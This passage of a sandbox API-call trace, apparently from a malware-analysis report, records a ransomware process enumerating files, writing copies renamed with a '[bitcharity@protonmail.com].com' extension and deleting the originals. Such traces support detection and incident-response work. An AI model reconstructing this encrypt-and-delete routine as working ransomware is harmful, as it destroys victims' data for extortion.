(lpString=".bz2") returned 4 [0155.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.507] lstrlenW (lpString=".7z") returned 3 [0155.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0155.507] lstrlenW (lpString=".dbf") returned 4 [0155.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0155.507] lstrlenW (lpString=".1cd") returned 4 [0155.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0155.507] lstrlenW (lpString=".jpg") returned 4 [0155.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.508] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.508] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e0 [0155.510] GetLastError () returned 0x0 [0155.510] ReadFile (in: hFile=0x1038, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xc20, lpOverlapped=0x0) returned 1 [0155.572] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xc30, lpOverlapped=0x0) returned 1 [0155.573] ReadFile (in: hFile=0x1038, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.573] WriteFile (in: hFile=0x10e0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.573] SetEndOfFile (hFile=0x10e0) returned 1 [0155.664] CloseHandle (hObject=0x10e0) returned 1 [0155.673] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.673] SetEndOfFile (hFile=0x1038) returned 1 [0155.674] CloseHandle (hObject=0x1038) returned 1 [0155.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0155.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0155.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0155.676] lstrlenW (lpString=".doc") returned 4 [0155.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.676] lstrlenW (lpString=".docx") returned 5 [0155.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.676] lstrlenW (lpString=".pdf") returned 4 [0155.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.676] lstrlenW (lpString=".xls") returned 4 [0155.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.676] lstrlenW (lpString=".xlsx") returned 5 [0155.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.676] lstrlenW (lpString=".ppt") returned 4 [0155.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0155.864] lstrlenW (lpString=".zip") returned 4 [0155.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.864] lstrlenW (lpString=".rar") returned 4 [0155.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.864] lstrlenW (lpString=".bz2") returned 4 [0155.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.864] lstrlenW (lpString=".7z") returned 3 [0155.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0155.864] lstrlenW (lpString=".dbf") returned 4 [0155.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0155.864] lstrlenW (lpString=".1cd") returned 4 [0155.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0155.864] lstrlenW (lpString=".jpg") returned 4 [0155.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.864] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.865] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0155.865] GetLastError () returned 0x0 [0155.865] ReadFile (in: hFile=0x10e0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xaac, lpOverlapped=0x0) returned 1 [0155.920] WriteFile (in: hFile=0x10d0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xab0, lpOverlapped=0x0) returned 1 [0155.921] ReadFile (in: hFile=0x10e0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.921] WriteFile (in: hFile=0x10d0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0155.921] SetEndOfFile (hFile=0x10d0) returned 1 [0155.921] CloseHandle (hObject=0x10d0) returned 1 [0155.922] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.922] SetEndOfFile (hFile=0x10e0) returned 1 [0155.923] CloseHandle (hObject=0x10e0) returned 1 [0155.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0155.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0155.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0155.924] lstrlenW (lpString=".doc") returned 4 [0155.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.924] lstrlenW (lpString=".docx") returned 5 [0155.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.924] lstrlenW (lpString=".pdf") returned 4 [0155.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.924] lstrlenW (lpString=".xls") returned 4 [0155.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.924] lstrlenW (lpString=".xlsx") returned 5 [0155.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.924] lstrlenW (lpString=".ppt") returned 4 [0155.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0155.924] lstrlenW (lpString=".zip") returned 4 [0155.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.924] lstrlenW (lpString=".rar") returned 4 [0155.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.924] lstrlenW (lpString=".bz2") returned 4 [0155.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.924] lstrlenW (lpString=".7z") returned 3 [0155.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0155.924] lstrlenW (lpString=".dbf") returned 4 [0155.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0155.925] lstrlenW (lpString=".1cd") returned 4 [0155.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0155.925] lstrlenW (lpString=".jpg") returned 4 [0155.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.925] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.925] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0155.926] GetLastError () returned 0x0 [0155.926] ReadFile (in: hFile=0x10e0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xda6, lpOverlapped=0x0) returned 1 [0156.061] WriteFile (in: hFile=0x10d0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xdb0, lpOverlapped=0x0) returned 1 [0156.063] ReadFile (in: hFile=0x10e0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.063] WriteFile (in: hFile=0x10d0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0156.063] SetEndOfFile (hFile=0x10d0) returned 1 [0156.063] CloseHandle (hObject=0x10d0) returned 1 [0156.064] SetFilePointerEx (in: hFile=0x10e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.064] SetEndOfFile (hFile=0x10e0) returned 1 [0156.065] CloseHandle (hObject=0x10e0) returned 1 [0156.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0156.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) Thread: id = 858 os_tid = 0x1c18 [0128.647] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x36500a0 [0128.647] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x36600a8 [0128.648] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647a80 [0128.648] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x656010 [0128.648] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ac8 [0128.648] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3bf2020 [0128.652] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647b70 [0128.652] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647b70, Size=0x20) returned 0x5e3848 [0128.652] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x647ba0 [0128.652] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x647ba0, Size=0x20) returned 0x5e3a28 [0128.652] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0128.652] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0128.652] Wow64DisableWow64FsRedirection (in: OldValue=0x320ff50 | out: OldValue=0x320ff50*=0x0) returned 1 [0128.652] lstrlenW (lpString="kernel32.dll") returned 12 [0128.652] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3848 | out: hHeap=0x5a0000) returned 1 [0128.652] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.652] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0128.653] Sleep (dwMilliseconds=0x64) [0128.879] lstrcmpiW (lpString1=".log", lpString2=".com") returned 1 [0128.879] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0128.879] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0129.499] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=6004) returned 1 [0129.499] CloseHandle (hObject=0x103c) returned 1 [0129.499] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0129.499] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.500] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0129.500] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.500] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.500] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1040 [0129.500] GetLastError () returned 0x0 [0129.500] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x1774, lpOverlapped=0x0) returned 1 [0129.541] WriteFile (in: hFile=0x1040, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x1780, lpOverlapped=0x0) returned 1 [0129.542] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.542] WriteFile (in: hFile=0x1040, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x114, lpOverlapped=0x0) returned 1 [0129.542] SetEndOfFile (hFile=0x1040) returned 1 [0129.543] CloseHandle (hObject=0x1040) returned 1 [0129.543] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.543] SetEndOfFile (hFile=0x103c) returned 1 [0129.544] CloseHandle (hObject=0x103c) returned 1 [0129.544] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0129.545] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0129.545] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.545] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.545] lstrlenW (lpString=".doc") returned 4 [0129.545] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0129.545] lstrlenW (lpString=".docx") returned 5 [0129.545] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0129.545] lstrlenW (lpString=".pdf") returned 4 [0129.545] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0129.545] lstrlenW (lpString=".xls") returned 4 [0129.545] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0129.545] lstrlenW (lpString=".xlsx") returned 5 [0129.545] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0129.545] lstrlenW (lpString=".ppt") returned 4 [0129.545] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0129.545] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.545] lstrlenW (lpString=".zip") returned 4 [0129.545] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0129.545] lstrlenW (lpString=".rar") returned 4 [0129.545] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0129.545] lstrlenW (lpString=".bz2") returned 4 [0129.545] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0129.545] lstrlenW (lpString=".7z") returned 3 [0129.545] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0129.545] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.546] lstrlenW (lpString=".dbf") returned 4 [0129.546] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0129.546] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.546] lstrlenW (lpString=".1cd") returned 4 [0129.546] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0129.546] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.546] lstrlenW (lpString=".jpg") returned 4 [0129.546] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0129.546] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.546] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.546] lstrlenW (lpString=".doc") returned 4 [0129.546] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0129.546] lstrlenW (lpString=".docx") returned 5 [0129.546] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0129.546] lstrlenW (lpString=".pdf") returned 4 [0129.546] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0129.546] lstrlenW (lpString=".xls") returned 4 [0129.546] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0129.546] lstrlenW (lpString=".xlsx") returned 5 [0129.546] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0129.546] lstrlenW (lpString=".ppt") returned 4 [0129.546] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0129.546] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.546] lstrlenW (lpString=".zip") returned 4 [0129.546] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0129.546] lstrlenW (lpString=".rar") returned 4 [0129.546] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0129.546] lstrlenW (lpString=".bz2") returned 4 [0129.546] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0129.546] lstrlenW (lpString=".7z") returned 3 [0129.546] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0129.546] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.546] lstrlenW (lpString=".dbf") returned 4 [0129.546] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0129.546] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.547] lstrlenW (lpString=".1cd") returned 4 [0129.547] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0129.547] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0129.547] lstrlenW (lpString=".jpg") returned 4 [0129.547] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0129.547] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0129.547] lstrlenW (lpString="desktop.ini") returned 11 [0129.547] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0129.547] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=129) returned 1 [0129.547] CloseHandle (hObject=0x103c) returned 1 [0129.547] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0129.547] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0129.547] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0129.547] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.547] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.547] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1034 [0130.083] GetLastError () returned 0x0 [0130.083] ReadFile (in: hFile=0x103c, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x81, lpOverlapped=0x0) returned 1 [0130.083] WriteFile (in: hFile=0x1034, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x90, lpOverlapped=0x0) returned 1 [0130.084] ReadFile (in: hFile=0x103c, 